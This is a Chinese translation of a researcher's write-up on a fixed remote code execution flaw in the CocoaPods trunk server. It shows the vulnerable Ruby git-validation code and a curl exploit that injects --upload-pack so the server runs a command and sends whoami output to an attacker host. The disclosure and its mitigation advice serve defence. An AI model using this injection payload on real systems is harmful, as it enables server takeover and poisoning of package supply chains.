利用 CocoaPods 服务器中的一个 RCE 漏洞,投毒数百万款app

利用 CocoaPods 服务器中的一个 RCE 漏洞,投毒数百万款app_第1张图片 聚焦源代码安全,网罗国内外最新资讯!

编译:奇安信代码卫士

专栏·供应链安全

数字化时代,软件无处不在。软件如同社会中的“虚拟人”,已经成为支撑社会正常运转的最基本元素之一,软件的安全性问题也正在成为当今社会的根本性、基础性问题。

随着软件产业的快速发展,软件供应链也越发复杂多元,复杂的软件供应链会引入一系列的安全问题,导致信息系统的整体安全防护难度越来越大。近年来,针对软件供应链的安全攻击事件一直呈快速增长态势,造成的危害也越来越严重。

为此,我们推出“供应链安全”栏目。本栏目汇聚供应链安全资讯,分析供应链安全风险,提供缓解建议,为供应链安全保驾护航。

注:以往发布的部分供应链安全相关内容,请见文末“推荐阅读”部分。

CocoaPods 是一款流行的包管理器,被很多款 iOS 应用(以及 Swift 和 Objective-C Cocoa 应用程序)使用。本文作者在负责维护 Specs 仓库 (https://trunk.cocoapods.org)密钥CocoaPods 中心服务器中发现了一个远程代码执行漏洞,本可导致攻击者投毒任意程序包下载。目前该漏洞已修复。

引言

我用 Signal iOS app 和朋友们沟通。我是 Signal 的真爱粉,而我对真爱项目的回馈方式之一是尝试从中找出 bug。

浏览该 app 来源时首先吸引我的是 Podfile,它列出了 Signal 的 CocoaPods 依赖关系。我和程序包管理器的渊源颇深,所以首先想到的是尝试从 CocoaPods 服务器中找出bug。如果能找到影响使用 CocoaPods 的所有 app 的 bug,还费力气黑 Signal 干嘛?

漏洞简述

当向 CocoaPods 上传程序包规范时,它会尝试确保我们不会不慎链接到私有库。它会执行如下操作:

def validate_git
  # We've had trouble with Heroku's git install, see trunk.cocoapods.org/pull/141
  url = @specification.source[:git]
  return true unless url.include?('github.com') || url.include?('bitbucket.org')


  ref = @specification.source[:tag] ||
    @specification.source[:commit] ||
    @specification.source[:branch] ||
    'HEAD'
  wrap_timeout { system('git', 'ls-remote', @specification.source[:git], ref.to_s) }
end

这样做会带来几个问题。最重要的问题是攻击者对 @specification.source[:git] 和 ref.to_s 具有完全控制,因此可利用它们将标记传递给 git。git ls-remote 选用可选标记 –upload-pack 评估 shell 中的内容。因此,如果 @specification.source[:git] 等于 --ls-remote="$(echo THIS WAS PROBABLY UNEXPECTED)" github.com,而 ref.to_s 被解释为一个本地仓库,那么我们就可以在 CocoPods 服务器中运行攻击者的命令。

如下是我最终使用的 exploit:

curl -X POST -H "Content-Type: application/json" -H 'Authorization: Token MY_AUTH_TOKEN' "https://trunk.cocoapods.org/api/v1/pods" --data '{"source":{"git":"--upload-pack=\"$(curl my-server:4775/`whoami`)\" https://github.com/","tag":"1.0.0"}}'

思考

之后,我思考了 CocoaPods 对这个世界提供的价值多么巨大,单从节约开发人员的时间角度来看就能看到!再看看世界上有多少大型企业都在使用这款软件。再想想安全审计的成本有多高。

对于使用依赖关系管理器的人来说:

  • 考虑 vendoring 依赖关系并仔细审计其更新(vendoring 的概念并未有确切定义,可以理解为拷贝一份项目中使用的第三方依赖关系,以防止版本冲突等问题)。

  • 你使用的依赖关系管理器中可能存在 bug,如果项目的安全敏感度高,则应该认真仔细地思考这个攻击向量。

对于编写依赖关系管理器的人来说:

如果想确保依赖关系管理器的安全,应当将如下因素作为有毒废弃物:

  • 程序包内容

  • 版本控制软件

依赖关系管理器服务器通常想暴露关于程序包的某些元数据(有毒废弃物),并经常通过借助某些版本控制软件(有毒废弃物)来实现。最好不要这样做,但如果必须这么做,则应该使用沙箱。

几个月前,我在 proxy.golang.org 中找到了一个 RCE 漏洞,它被暴露于某款易受攻击的版本控制软件。不过由于我无法逃逸它所使用的沙箱而得以完全缓解。

最后,感谢 CocoaPods 维护人员神速修复该漏洞!


利用 CocoaPods 服务器中的一个 RCE 漏洞,投毒数百万款app_第2张图片

推荐阅读

库依赖关系和开源供应链带来的噩梦

Codecov后门事件验证分析

微软“照片”应用Raw 格式图像编码器漏洞 (CVE-2021-24091)的技术分析

速修复!热门npm 库 netmask 被曝严重的软件供应链漏洞,已存在9年

SolarWinds 供应链事件后,美国考虑实施软件安全评级和标准机制

找到软件供应链的薄弱链条

GitHub谈软件供应链安全及其重要性

揭秘新的供应链攻击:一研究员靠它成功入侵微软、苹果等 35 家科技公司

谷歌Linux基金会等联合推出开源软件签名服务 sigstore,提振软件供应链安全

Linus Torvalds 警告:勿用 Linux 5.12 rc1,担心供应链攻击?

微软和火眼又分别发现SolarWinds 供应链攻击的新后门

找到恶意软件包:Go 语言生态系统中的供应链攻击是怎样的?

拜登签署行政令,要求保护美国关键供应链(含信息技术)的安全

坐火车太无聊,我溜入微软 VS Code官方GitHub仓库,但没敢发动供应链攻击

SolarWinds 供应链攻击中的第四款恶意软件及其它动态

OpenWRT开源项目论坛遭未授权访问,可被用于供应链攻击

FireEye事件新动态:APT 攻击 SolarWinds 全球供应链(详解)

FireEye 红队失窃工具大揭秘之:分析复现SolarWinds RCE 0day (CVE-2020-10148)

FireEye红队失窃工具大揭秘之:分析复现Zoho ManageEngine RCE (CVE-2020-10189)

FireEye 红队失窃工具大揭秘之:分析复现 Zoho 任意文件上传漏洞(CVE-2020-8394)

FireEye 红队失窃工具大揭秘之:分析复现 Confluence路径穿越漏洞 (CVE-2019-3398)

FireEye 红队失窃工具大揭秘之:分析复现 Atlassian RCE (CVE-2019-11580)

Ripple 20:严重漏洞影响全球数十亿IoT设备,复杂软件供应链使修复难上加难

被后爹坑:开源 JavaScript 库沦为摇钱树

速修复!开源企业自动化软件 Apache OFBiz 出现严重的 RCE 漏洞

谷歌提出治理开源软件漏洞的新框架:知悉、预防、修复

开源软件漏洞安全风险分析

开源OS FreeBSD 中 ftpd chroot 本地提权漏洞 (CVE-2020-7468) 的技术分析

集结30+漏洞 exploit,Gitpaste-12 蠕虫影响 Linux 和开源组件等

原文链接

https://justi.cz/security/2021/04/20/cocoapods-rce.html

题图:Pixabay License

转载请注明“转自奇安信代码卫士 https://codesafe.qianxin.com”。

利用 CocoaPods 服务器中的一个 RCE 漏洞,投毒数百万款app_第3张图片

奇安信代码卫士 (codesafe)

国内首个专注于软件开发安全的

产品线。

   利用 CocoaPods 服务器中的一个 RCE 漏洞,投毒数百万款app_第4张图片 觉得不错,就点个 “在看” 或 "赞” 吧~

你可能感兴趣的:(利用 CocoaPods 服务器中的一个 RCE 漏洞,投毒数百万款app)